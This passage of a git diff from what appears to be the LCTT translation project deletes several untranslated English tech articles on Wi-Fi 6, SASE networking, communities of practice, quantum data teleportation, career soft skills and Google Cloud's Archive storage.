beamforming will still mean a performance upgrade, since they’ll handle multiple connections more smoothly.” - -A critical point is that some connected devices on even older 802.11 versions – n, g, and even b in some cases – won’t be able to benefit from the numerous technological upsides of the new standard. Making sure that a given network is completely cross-compatible will be a central issue for IT staff looking to realize performance gains on networks that service legacy gear.” - -Pandit said that, increasingly, data-hungry customers like tech companies are looking to 802.11ax to act as a wireline replacement for those settings. “Lots of the tech companies we service here, some of them want Wi-Fi 6 so that they can use gigabit performance without having to run wires,” he said. - -Whether it goes by Wi-Fi 6 or 802.11ax, the next generation of Wi-Fi technology is likely to be marketed a bit differently than new Wi-Fi standards have been in the past, according to Mathias. It’s less about the mere fact that there’s a new Wi-Fi standard providing faster connectivity, and more about enabling new functionality that 802.11ax makes possible, including better handling of IoT devices and integration with AI/machine learning systems. - -Luckily, prices for top-end Wi-Fi equipment shouldn’t change much compared to the current top of the line, making it easy for almost any organization to budget for the switch. - -“We’re not expecting anyone to pay a premium for [802.11ax],” said Mathias. - -**Now see ["How to determine if Wi-Fi 6 is right for you"][2]** - -Join the Network World communities on [Facebook][7] and [LinkedIn][8] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3512153/wi-fi-6-will-slowly-gather-steam-in-2020.html - -作者:[Jon Gold][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Jon-Gold/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/newsletters/signup.html -[2]: https://www.networkworld.com/article/3356838/how-to-determine-if-wi-fi-6-is-right-for-you.html -[3]: https://www.networkworld.com/article/3238664/80211-wi-fi-standards-and-speeds-explained.html -[4]: https://www.networkworld.com/article/3440100/take-the-intelligent-route-with-consumption-based-storage.html?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE21620&utm_content=sidebar ( Take the Intelligent Route with Consumption-Based Storage) -[5]: https://www.networkworld.com/article/3256905/13-things-you-need-to-know-about-mu-mimo-wi-fi.html -[6]: https://www.networkworld.com/article/3207535/what-is-iot-the-internet-of-things-explained.html -[7]: https://www.facebook.com/NetworkWorld/ -[8]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200109 How to Deliver Affordable and Optimized Application Access Worldwide with SASE.md b/sources/talk/20200109 How to Deliver Affordable and Optimized Application Access Worldwide with SASE.md deleted file mode 100644 index 9e217c7d24..0000000000 --- a/sources/talk/20200109 How to Deliver Affordable and Optimized Application Access Worldwide with SASE.md +++ /dev/null @@ -1,86 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to Deliver Affordable and Optimized Application Access Worldwide with SASE) -[#]: via: (https://www.networkworld.com/article/3512640/how-to-deliver-affordable-and-optimized-application-access-worldwide-with-sase.html) -[#]: author: (Cato Networks https://www.networkworld.com/author/Matt-Conran/) - -How to Deliver Affordable and Optimized Application Access Worldwide with SASE -====== -Gartner tells you to use your MPLS renewal budget to transition into SASE, but not every SASE can replace MPLS. Here's what to look for. -Vit_Mar - -Global expansion is a common goal for many enterprises. In some verticals, like manufacturing, running production lines globally is an established practice. However, deploying international sales, service, and engineering teams is becoming the norm for many other sectors including high tech, finance, retail, and more. - -A global enterprise footprint creates a unique set of challenges that do not occur in regional businesses. Users in a remote office will need to securely access data-center applications, cloud applications, or both. Depending on the distance between the remote location and the application—and the sensitivity of the application to high latency, packet loss, and jitter—an expensive set of technologies and capabilities will be needed to optimize the user experience. - -[SD-WAN][1] focuses on affordable, high-performance site connectivity. Alone it cannot solve the broader networking and security challenges faced by global enterprises, which is why Gartner and other analysts are already recognizing the need to look beyond SD-WAN for a new class of enterprise solutions. Gartner has coined the term [secure access service edge (SASE, pronounced “sassy”)][2] for solutions that converge SD-WAN capabilities with enterprise security into a global, cloud-native platform. Let’s take a deeper look. - -#### **The Application Access Optimization Challenge** - -Across the enterprise, IT finds itself facing various challenges delivering network access to users and data everywhere. While those challenges will vary, their impact point remains the same—the user experience and IT budget. - -For data-center access, organizations traditionally relied on global MPLS providers. The predictability of MPLS ensured consistent latency and low packet loss and jitter needed to support critical applications like voice and ERP. The challenge with global MPLS was the cost per megabit that required organizations to spend heavily on limited bandwidth, creating a capacity constraint. The introduction of SD-WAN appliances and Internet-based connectivity does little to address the global connectivity challenge because SD-WAN appliances can't control the packet routing once the packet is placed on the Internet-leg of the SD-WAN. - -Another option to address global connectivity challenges was to shorten the distance between users and applications. Enterprises built regional data centers or hubs to get applications closer to end users. This is a very costly and complex endeavor that is most suitable for very large organizations with distributed IT staff who can optimize application performance and availability. - -#### **Global Cloud Access** - -The migration to cloud applications and cloud data centers created a new challenge for remote users. While MPLS was optimized for the organization’s on-premises data-center access, cloud data centers often reside in different geographic locations. Special connectivity solutions, such as [AWS DirectConnect and Azure ExpressRoute][3], are used to optimally connect physical enterprise locations to the cloud data centers. And while SD-WAN appliances claim cloud optimization, they require deploying a second appliance into the cloud — no easy task. - -Regardless of application location, none of the network solutions discussed are extensible to home offices and mobile users, where deploying edge appliances for SD-WAN or WAN optimization is not possible. This creates an application access challenge because the users must use the public internet to access the edge of the data center hosting their application. This access is subject to the unpredictable quality of the network from the user’s location to the destination. - -#### **SASE Delivers Optimized and Secured Application Access Anywhere** - -Global expansion, the migration from on-premises to cloud data centers, and the emergence of the mobile and telecommuting workforce are straining legacy network architectures. The network “patches” created to address this challenge, such as edge-SD-WAN, hybrid MPLS, Internet transports, and premium cloud connectivity, are costly and incomplete. - -To address this architectural challenge, a new architecture that connects and optimizes all edges—physical, virtual, cloud, mobile—anywhere in the world, must be created. That’s the story of [SASE][2]. SASE services converge networking and security into an identity-aware, cloud-native software stack. It’s the convergence that is key. Without the necessary network optimizations and capabilities, the SASE platform will not be able to meet performance expectations everywhere. - -#### **Cloud-Native: Built for and Delivered from the Cloud** - -A core characteristic of SASE is a cloud-native, as-a-service model. A cloud-native architecture leverages key cloud capabilities, including elasticity, adaptability, self-healing, and self-maintenance. - -SASE calls for the creation of a network of cloud points of presence (PoPs), which comprise the SASE Cloud. The PoPs run the provider software that delivers a wide range of networking and network security capabilities as a service. The PoPs should seamlessly scale to adapt to changes in traffic load via the addition of compute nodes. The PoPs software can be upgraded to deliver new features or bug fixes seamlessly and without IT involvement. The cloud architecture must include self-healing capabilities to automatically move processing away from failing compute nodes and PoPs and into healthy ones. - -These capabilities can't be achieved by spinning up virtual appliances in the cloud. Appliances are designed to serve a single customer (single tenant) and lack the overall cloud orchestration layer to ensure elasticity and self-healing. - -**Globally Distributed: Available Near All Edges** - -SASE Cloud is implemented as a globally distributed cloud platform. The SASE Cloud design guarantees that wherever your edges are, the full range of networking and security capabilities will be available to support them. SASE providers will have to strategically deploy PoPs to support business locations, cloud applications, and mobile users. As Gartner notes, SASE PoPs must extend beyond public cloud providers’ footprints (like AWS and Azure) to deliver a low-latency service to enterprise edges. - -Building a global cloud platform requires providers to hone their ability to rapidly deploy PoPs into cloud and physical data centers, ensure high capacity and redundant connectivity to support both WAN and cloud access, and apply security and optimization end-to-end across all edges. - -#### **Thin Edge: DC, Branch, Cloud, User** - -By placing processing and business logic in the cloud, SASE has minimal requirements for connecting various edges. This is a key challenge for SD-WAN edges especially in the context of NFV and uCPE. Running SD-WAN and network security side by side on the same appliance increases the likelihood of an overload, forcing the need to over-spec the underlying appliance.  This isn't a theoretical issue: An increase in branch throughput or rise in encrypted traffic volume can force an out-of-budget expansion. A Thin Edge approach has the following benefits:** ** - - * **Low cost:** By minimizing edge processing, low-cost appliances can achieve high throughput as most resource-intensive processing, such as deep packet inspection, is done using cloud resources that can scale better. - * **Low maintenance:** By keeping the over-functionality limited, it is possible to run a slower upgrade cycle to the edges, which has a higher potential for disruption vs. introducing new capabilities in the cloud. - * **Low impact:** Cloud integration is achieved with no edge appliances at all (agentless), while security and global network optimization remains intact. Mobile devices and new kinds of IoT devices no longer need significant processing resources to participate in the corporate network. They can automatically connect to the nearest SASE PoP with minimal battery impact. - - - -#### **End-to-End Optimization** - -Combining intelligent routing at the WAN edge with a software-defined global private backbone enables end-to-end traffic optimization. Last-mile optimizations focus on addressing last-mile issues, such as packet loss, by dynamically routing traffic over multiple ISPs. Middle-mile optimizations focus on optimizing routing globally and over multiple carriers comprising a diverse underlay. The middle-mile optimization extends to all edges—physical, virtual, and mobile—which is a unique benefit to a cloud-based, rather than an edge appliance-based, architecture. - -In short, SASE implements a new architecture that is built to support the modern global enterprise and address the various resources, requirements, and use cases in a holistic platform. Yes, SASE provides a fresh way to secure the network, but SASE also needs the “networking capabilities” of the network if companies are to deliver users everywhere an optimum user experience. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3512640/how-to-deliver-affordable-and-optimized-application-access-worldwide-with-sase.html - -作者:[Cato Networks][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Matt-Conran/ -[b]: https://github.com/lujun9972 -[1]: https://www.catonetworks.com/sd-wan?utm_source=idg -[2]: https://www.catonetworks.com/sase?utm_source=idg -[3]: https://www.catonetworks.com/cato-cloud#cloud-datacenter diff --git a/sources/talk/20200114 What communities of practice can do for your organization.md b/sources/talk/20200114 What communities of practice can do for your organization.md deleted file mode 100644 index 886fc05201..0000000000 --- a/sources/talk/20200114 What communities of practice can do for your organization.md +++ /dev/null @@ -1,65 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (What communities of practice can do for your organization) -[#]: via: (https://opensource.com/open-organization/20/1/why-build-community-of-practice) -[#]: author: (Tracy Buckner https://opensource.com/users/tracyb) - -What communities of practice can do for your organization -====== -In open organizations, fostering passionate communities can increase -collaboration, accelerate problem solving, and lead to greater -innovation. -![Lots of people in a crowd.][1] - -As I discussed in the [first part of this series][2], community is a fundamental principle in open organizations. In open organizations, people often define their roles, responsibilities, and affiliations through shared interests and passions—[not title, role, or position on an organizational chart][3]. - -So fostering and supporting communities of practice (CoPs) can be a great strategy for building a more open organization. Members of communities of practice interact regularly, discuss various topics, and solve problems collectively and collaboratively. These communities provide members with an opportunity to share their expertise, learn from others, and network with one another. - -As Luis Gonçalves states in [Learning Organisation][4]: - -> CoPs provide a shared context where members of the organisation can communicate and share information; stimulate learning through peer-to-peer mentoring, coaching, self-reflection, and collaboration; generate new knowledge; and initiate projects that develop tangible results. - -But those aren't the only value such communities can offer. Communities of practice can also enhance an organization in the following ways (summarized in Figure 1). - -**Decreased learning curves**. Many organizations face the challenge of rapidly increasing productivity of new employees (or members). This task becomes especially challenging in organizations where an employee's manager may be located in a different state, country, or region. Communities of practice offer new employees a network of connections they can tap into more quickly and easily. By joining a CoP, they can immediately access a network of experts and share resources, ask questions, and seek guidance outside the formal lines of the organizational chart. - -Members of communities of practice interact regularly, discuss various topics, and solve problems collectively and collaboratively. - -**Increased collaboration.** A recent survey from My Customer.com [shows][5] that 40 percent of company employees report not feeling adequately supported by their colleagues—because "different departments have their own agendas." A lack of collaboration between departments limits innovation and increases opportunities for miscommunication. Communities of practice encourage members from _all_ roles across _all_ departments to unite in sharing their expertise. This increases collaboration and reduces the threat of organizational silos. - -**Rapid problem-solving.** Communities of practice provide a centralized location for communication and resources useful for solving organizational or business problems. Enabling people to come together—regardless of their organizational reporting structure, location, and/or management structure—encourages problem-solving and can lead to faster resolution of those problems. - -**Enhanced innovation.** Researchers Pouwels and Koster [recently argued][6] that “collaboration contributes to innovation." CoPs provide a unique opportunity for members to collaborate on topics within their shared domains of interest and passion. This passion ignites a desire to discover new and innovative ways to solve problems and create new ideas. - -![Benefits of Communities of Practice][7] - -_Figure 1: Benefits of communities of practice. Courtesy of Tracy Buckner. CC BY-SA._ - -[Étienne Wenger][8], an educational theorist and proponent of communities of practice, said that learning doesn't only occur through a master; it also happens among apprentices. Communities of practice foster learning by connecting apprentices, while encouraging collaboration and offering an opportunity for creative problem-solving and innovation. - -In the final article of this series, I'll explain how you can reap these benefits by creating your own community of practice. - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/20/1/why-build-community-of-practice - -作者:[Tracy Buckner][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/tracyb -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BUSINESS_community2.png?itok=1blC7-NY (Lots of people in a crowd.) -[2]: https://opensource.com/open-organization/19/11/what-is-community-practice -[3]: https://opensource.com/open-organization/resources/open-org-definition -[4]: https://www.organisationalmastery.com/category/learning-organisation/ -[5]: https://www.mycustomer.com/experience/engagement/the-stats-that-prove-silos-are-your-biggest-cx-challenge -[6]: https://www.researchgate.net/profile/Ferry_Koster/publication/313659568_Inter-organizational_cooperation_and_organizational_innovativeness_A_comparative_study/links/59e64d510f7e9b13aca3c224/Inter-organizational-cooperation-and-organizational-innovativeness-A-comparative-study.pdf -[7]: https://opensource.com/sites/default/files/images/open-org/cop_benefits.png (Benefits of Communities of Practice) -[8]: https://en.wikipedia.org/wiki/%C3%89tienne_Wenger diff --git a/sources/talk/20200115 Instant, secure ‘teleportation- of data in the works.md b/sources/talk/20200115 Instant, secure ‘teleportation- of data in the works.md deleted file mode 100644 index d314baba66..0000000000 --- a/sources/talk/20200115 Instant, secure ‘teleportation- of data in the works.md +++ /dev/null @@ -1,68 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Instant, secure ‘teleportation’ of data in the works) -[#]: via: (https://www.networkworld.com/article/3512037/instant-secure-teleportation-of-data-in-the-works.html) -[#]: author: (Patrick Nelson https://www.networkworld.com/author/Patrick-Nelson/) - -Instant, secure ‘teleportation’ of data in the works -====== -Quantum teleportation, where information is sent instantaneously, will secure the Internet, researchers say. Scientists are making progress. -Thinkstock - -Sending information instantly between two computer chips using quantum teleportation has been accomplished reliably for the first time, according to scientists from the University of Bristol, in collaboration with the Technical University of Denmark (DTU). Data was exchanged without any electrical or physical connection – a transmission method that may influence the next generation of ultra-secure data networks. - -Teleportation involves the moving of information instantaneously and securely. In the “Star Trek” series, fictional people move immediately from one place to another via teleportation. In the University of Bristol experiment, data is passed instantly via a single quantum state across two chips using light particles, or photons. Importantly, each of the two chips knows the characteristics of the other, because they’re entangled through quantum physics, meaning they therefore share a single physics-based state. - -The researchers involved in these successful silicon tests said they built the photon-based silicon chips in a lab and then used them to encode the quantum information in single particles. It was “a high-quality entanglement link across two chips, where photons on either chip share a single quantum state,” said Dan Llewellyn of University of Bristol in a [press release][1]. - -[][2] - -BrandPost Sponsored by HPE - -[Take the Intelligent Route with Consumption-Based Storage][2] - -Combine the agility and economics of HPE storage with HPE GreenLake and run your IT department with efficiency. - -“These chips are able to encode quantum information in light generated inside the circuits and can process the quantum information,” the school stated. It claims a successful quantum teleportation of 91%, which is considered high quality. - -### Entanglement boosts data transmission - -Entanglement links to be used in data transmission are where information is conjoined, or entangled, so that the start of a link has the same state as the end of a link. The particles, and thus data, are at the beginning of the link and at the end of the link at the same time. - -The physics principle holds promise for data transmissions, in part because intrusion is easily seen; interference by a bad actor becomes obvious if the beginning state of the link and the end state are no longer the same. In other words, any change in one element means a change in the other, and that can be over distance, too. Additionally, the technique allows leaks to be stopped: Instant key destruction can occur at the actual moment of attempted interference. - -“Particles can be in two places at the same time, and they can even be entangled with twin particles, so that they can feel everything that happens to each other,” explained Jonas Schou Neergaard-Nielsen, a senior researcher at DTU, [in a 2015 story][3] about the university’s earlier teleportation exploration. “At the sub-microscopic level, where quantum mechanics rule, you find a completely different logic to what we are used to in our macroscopic reality,” Schou Neergaard-Nielsen said back in 2015. - -[[Get regularly scheduled insights by signing up for Network World newsletters.]][4] - -### Quantum chips gain momentum - -In the bigger picture, the area of quantum-based microprocessors is gaining momentum. It is thought, for example, that quantum-embedded chips could ultimately secure the internet of things. IoT security vendor Crypto Quantique has said that quantum chips could be made unclonable. Its solution uses a quantum method of [creating totally random keys][5] from the measurement of low currents on the silicon. It’s related to how electrons can leak through transistor gates. “Unforgeable hardware trust anchors [are] generated by the device,” Crypto Quantique explains on its website. “Our technology offers true randomness.” - -A secure quantum computing environment overall could have “profound impacts on modern society,” the University of Bristol said. And with the introduction of entangled physics states across networks, a highly secured “quantum internet could ultimately protect the world’s information from malicious attacks.” - -Join the Network World communities on [Facebook][6] and [LinkedIn][7] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3512037/instant-secure-teleportation-of-data-in-the-works.html - -作者:[Patrick Nelson][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Patrick-Nelson/ -[b]: https://github.com/lujun9972 -[1]: https://www.bristol.ac.uk/news/2019/december/quantum-teleportation.html -[2]: https://www.networkworld.com/article/3440100/take-the-intelligent-route-with-consumption-based-storage.html?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE21620&utm_content=sidebar ( Take the Intelligent Route with Consumption-Based Storage) -[3]: https://www.dtu.dk/english/news/2015/01/dtu-physics-researchers-developing-tomorrows-teleportation?id=ece937e9-1402-437a-8f57-cc3124563bc8 -[4]: https://www.networkworld.com/newsletters/signup.html -[5]: mailto:https://www.networkworld.com/article/3333808/quantum-embedded-chips-could-secure-iot.html -[6]: https://www.facebook.com/NetworkWorld/ -[7]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200116 4 core skills to level-up your tech career in 2020.md b/sources/talk/20200116 4 core skills to level-up your tech career in 2020.md deleted file mode 100644 index e8385910d4..0000000000 --- a/sources/talk/20200116 4 core skills to level-up your tech career in 2020.md +++ /dev/null @@ -1,160 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (4 core skills to level-up your tech career in 2020) -[#]: via: (https://opensource.com/article/20/1/core-skills-tech-career) -[#]: author: (Dawn Parzych https://opensource.com/users/dawnparzych) - -4 core skills to level-up your tech career in 2020 -====== -There is one category of skill you should focus on to advance your -career this year. Here's how. -![Two hands holding a resume with computer, clock, and desk chair ][1] - -We do a lot to level-up our careers. We learn new programming languages; we take on new projects at work; we work on side projects on the weekend; we contribute to open source communities. What if I were to tell you that, while these activities are helpful, there is one set of skills you should focus on if you truly want to advance your career. - -These skills go by many names, such as soft skills, non-technical skills, leadership skills, and people skills. Calling them soft or non-technical skills leads to the mistaken idea that they are easy. For some, these skills are incredibly difficult. Calling them leadership skills makes people think they don't need to put effort into developing them if they don't want to be a leader. - -I prefer to call them core or functional skills. These skills are part of the core of what makes us human, and it is hard to function without them. - -When we have these skills, we can: - - * Communicate with others - * Collaborate and work with others - * Solve problems - * Understand and share the feelings of others - * Use time effectively or productively - - - -These skills are part of what makes us human, and everything in software is about humans. Humans are reviewing your code. Humans are installing or using the application you are writing. - -If these skills are so essential, why do we often dismiss them in favor of more "technical" skills and give them a bad rap? This isn't about focusing on one versus the other. Both are important and relevant. - -### Mindset and biases - -Our biases and mindset contribute to the importance we place on functional skills. Bias isn't a bad thing. There are [175 biases][2] that exist to help our brains combat four problems: - - * We have too much information to process. - * There's not enough meaning in the information we receive. - * There's not enough time to process information. - * We can't remember everything. Our memory is finite. - - - -One bias that sneaks in when it comes to assessing our skills is the Dunning-Kruger effect. We mistakenly assess our abilities as more exceptional than they are, which comes from an inability to recognize our own faults. You may think you know what you are doing when you don't because of the Dunning-Kruger effect. You think you are managing your time effectively, but in reality, you are working nights and weekends to get caught up. Yes, the work is getting completed, but at what cost? Working non-stop can lead to burnout or a decline in health. - -Another factor is your [mindset][3]. Do you have a growth mindset or a fixed mindset when it comes to learning a new skill? People with a fixed mindset believe that abilities are innate and can't be improved. Those with a growth mindset believe there is room for improvement, and you can improve any skill with practice. - -These statements reflect a fixed mindset: - - * "I'm just not a people person." - * "They're a natural-born leader." - - - -You're not born with the ability to speak or write. You learn these skills over time. The same goes for the core and functional skills important for developers. - -### Communication - -> "Over time I've learned the biggest source of failure is often due to people and teams. A lack of communication and coordination can cause serious problems." -> — Laurie Barth, [_How architecture improved my coding skills_][4] - -Communication includes verbal, non-verbal, and written communication. Failures along any of these can cause serious problems. Communication failures in tech look like: - - * Delays in resolving incidents - * Redesigning a feature - * Scope creep - * Lack of meaningful comments on pull requests (PRs)—these can be especially impactful to junior engineers - * Unnecessary conflicts and lack of alignment - * Delivering above or below expectations - - - -Cultural norms and personal preferences impact communication. Everybody has a preferred method of communicating, whether that is via email, face-to-face, Slack messages, phone, text, etc. Think about the cultural norms regarding communication in your workplace. Do they match your preferred method of communicating? If there is a mismatch, problems may arise. - -If you're a manager, do you know your direct reports' preferred communication style, or do you just utilize your preferred method? If a direct report prefers email so they can have some time to think before responding and you prefer face-to-face communication, a quick Slack message asking them to come to your office can cause unnecessary anxiety. - -### Empathy - -> "Empathy is much harder than we think… But to build empathy we need to slow down." -> —Andrew Tenzer and Ian Murray, [_The empathy delusion_][5] - -Empathy is one of the most important skills you can learn. Empathy is our ability to understand and share the feelings of others. We feel more connected to one another because of empathy. - -There are four attributes of empathy: - - * Seeing another person's perspective - * Being non-judgmental - * Recognizing emotions in other people - * Communicating your understanding of another person's feelings - - - -Communication and empathy are closely tied. To communicate effectively, you need to listen. To listen effectively, you need empathy. Instead of listening to what a colleague is saying, we usually think about how to best respond. As the adage goes, you have two ears and one mouth for a reason; you should be listening twice as often as you speak. - -When you show empathy towards another person, you are not minimizing their thoughts, feelings, or experiences. Instead of using comments like "it could be worse" or "at least…" use phrases like "that sounds horrible," "I can't imagine how you must feel," or "I'm here for you, how can I help?" - -### Get ready to level-up - -Improving on a skill takes time, but we often give up while we are learning once [impostor syndrome][6] kicks in. It takes years of practice to perfect something, and even with years of practice, you won't be perfect. You will make mistakes. When learning a new skill or improving on an existing skill, mastery—not perfection—should be the goal. Perfection implies there is no room for improvement; mastery indicates learning a skill is an ongoing journey, and there is room to improve. - -You don't want to be a perfect communicator. You want to be a master communicator. Even the most experienced public speakers make mistakes. If you aim for perfection, you will be disappointed. - -To improve a skill, you need to schedule time to practice. But not just any type of practice; to master a skill, use deliberate practice. Deliberate practice has five main components: - - 1. Create a specific goal. - 2. Break the goal down into small steps. - 3. Get feedback from a master. - 4. Step out of your comfort zone. - 5. Stay motivated. - - - -To illustrate this process, say you have a goal of presenting at a conference, but you aren't a confident public speaker. What are some small steps you can take to practice? - - * Identify and reduce the use of filler words like "um," "ah," or "you know." - * Make eye contact when speaking with others or let people know why you don't. - * Control mannerisms like fidgeting with your hands or nodding your head while talking. - * Incorporate appropriate pauses. - - - -Feedback is a necessary part of practicing. Seek out others to provide you with feedback. A great way to step out of your comfort zone and get feedback from master public speakers is to sign up for Toastmasters. This can also help you stay motivated as you work through the speeches towards becoming a Distinguished Toastmaster. - -You can apply this same process to any skill you are looking to master. - -### Where to learn more - -If you want to learn more about empathy and communication so you can level up your career, check out these resources: - - * [Communicating with empathy][7] course by Sharon Steed - * [_Deliberate practice: Your pathway to growth and mastery_][8] by Habits at Work - * [_Want to be more empathetic? Avoid these 7 responses_][9] by Laura Click - - - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/1/core-skills-tech-career - -作者:[Dawn Parzych][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/dawnparzych -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/resume_career_document_general.png?itok=JEaFL2XI (Two hands holding a resume with computer, clock, and desk chair ) -[2]: https://medium.com/better-humans/cognitive-bias-cheat-sheet-55a472476b18 -[3]: https://www.penguinrandomhouse.com/books/44330/mindset-by-carol-s-dweck-phd/ -[4]: https://dev.to/laurieontech/how-architecture-improved-my-coding-skills-21e -[5]: https://www.reachsolutions.co.uk/sites/default/files/2019-07/Reach%20Solutions%20The%20Empathy%20Delusion%20V2.pdf -[6]: https://en.wikipedia.org/wiki/Impostor_syndrome -[7]: https://www.lynda.com/Business-Skills-tutorials/Communicating-Empathy/534584-2.html -[8]: https://habitsatwork.com/blog/deliberate-practice -[9]: https://medium.com/@lauraclick/want-to-be-more-empathetic-avoid-these-7-responses-21bb52d5d2ad diff --git a/sources/talk/20200116 Google Cloud launches Archive cold storage service.md b/sources/talk/20200116 Google Cloud launches Archive cold storage service.md deleted file mode 100644 index cd395aafb5..0000000000 --- a/sources/talk/20200116 Google Cloud launches Archive cold storage service.md +++ /dev/null @@ -1,73 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Google Cloud launches Archive cold storage service) -[#]: via: (https://www.networkworld.com/article/3513903/google-cloud-launches-archive-cold-storage-service.html) -[#]: author: (Andy Patrizio https://www.networkworld.com/author/Andy-Patrizio/) - -Google Cloud launches Archive cold storage service -====== -Archive will focus on long-term data retention and compete against AWS Glacier, Microsoft Cool Blob Storage, and IBM Cloud Storage. -Google - -Google Cloud announced the general availability of Archive, a long-term data retention service intended as an alternative to on-premises tape backup. - -Google pitches it as cold storage, meaning it is for data which is accessed less than once a year and has been stored for many years. Cold storage data is usually consigned to tape backup, which remains a [surprisingly successful][1] market despite repeated predictions of its demise. - -Of course, Google's competition has their own products. Amazon Web Services has Glacier, Microsoft has Cool Blob Storage, and IBM has Cloud Storage. Google also offers its own Coldline and Nearline cloud storage offerings; Coldline is designed for data a business expects to touch less than once a quarter, while Nearline is aimed at data that requires access less than once a month. - -[][2] - -BrandPost Sponsored by HPE - -[Take the Intelligent Route with Consumption-Based Storage][2] - -Combine the agility and economics of HPE storage with HPE GreenLake and run your IT department with efficiency. - -With Archive, Google highlights a few differentiators from the competition and its own archival offerings. First, Google promises no delay on data retrieval, claiming millisecond latency. AWS can take minutes or hours. While Archive costs a little more than AWS and Azure – $1.23 per terabyte per month vs. $1 per terabyte per month for AWS and Azure – that’s due in part to the longer remit for an early deletion charge. Google offers 365 days compared with 180 days for AWS and Azure. - -"Having flexible storage options allows you to optimize your total cost of ownership while meeting your business needs," [wrote][3] Geoffrey Noer, Google Cloud storage product manager in a blog post announcing the service’s availability. "At Google Cloud, we think that you should have a range of straightforward storage options that allow you to more securely and reliably access your data when and where you need it, without performance bottlenecks or delays to your users." - -Archive is a store-and-forget service, where you keep stuff only because you have to. Tape replacement and archiving data under regulatory retention requirements are two of the most common use cases, according to Google. Other examples include long-term backups and original master copies of videos and images. - -The Archive class can also be combined with [Bucket Lock][4], Google Cloud’s data locking mechanism to prevent data from being modified, which is available to enterprises for meeting various data retention laws, according to Noer. - - * [Backup vs. archive: Why it’s important to know the difference][5] - * [How to pick an off-site data-backup method][6] - * [Tape vs. disk storage: Why isn’t tape dead yet?][7] - * [The correct levels of backup save time, bandwidth, space][8] - - - -The Archive class can be set up in dual-regions or multi-regions for geo-redundancy and offers checksum verification durability of "11 nines" – 99.999999999 percent. - -More information can be found [here][9]. - -Join the Network World communities on [Facebook][10] and [LinkedIn][11] to comment on topics that are top of mind. - --------------------------------------------------------------------------------- - -via: https://www.networkworld.com/article/3513903/google-cloud-launches-archive-cold-storage-service.html - -作者:[Andy Patrizio][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.networkworld.com/author/Andy-Patrizio/ -[b]: https://github.com/lujun9972 -[1]: https://www.networkworld.com/article/3263452/theres-still-a-lot-of-life-left-in-tape-backup.html -[2]: https://www.networkworld.com/article/3440100/take-the-intelligent-route-with-consumption-based-storage.html?utm_source=IDG&utm_medium=promotions&utm_campaign=HPE21620&utm_content=sidebar ( Take the Intelligent Route with Consumption-Based Storage) -[3]: https://cloud.google.com/blog/products/storage-data-transfer/archive-storage-class-for-coldest-data-now-available -[4]: https://cloud.google.com/storage/docs/bucket-lock -[5]: https://www.networkworld.com/article/3285652/storage/backup-vs-archive-why-its-important-to-know-the-difference.html -[6]: https://www.networkworld.com/article/3328488/backup-systems-and-services/how-to-pick-an-off-site-data-backup-method.html -[7]: https://www.networkworld.com/article/3315156/storage/tape-vs-disk-storage-why-isnt-tape-dead-yet.html -[8]: https://www.networkworld.com/article/3302804/storage/the-correct-levels-of-backup-save-time-bandwidth-space.html -[9]: https://cloud.google.com/blog/products/storage-data-transfer/whats-cooler-than-being-cool-ice-cold-archive-storage -[10]: https://www.facebook.com/NetworkWorld/ -[11]: https://www.linkedin.com/company/network-world diff --git a/sources/talk/20200117 Insights into Why Hyperbola GNU-Linux is Turning into Hyperbola BSD.md b/sources/talk/20200117 Insights into Why Hyperbola GNU-Linux is Turning into 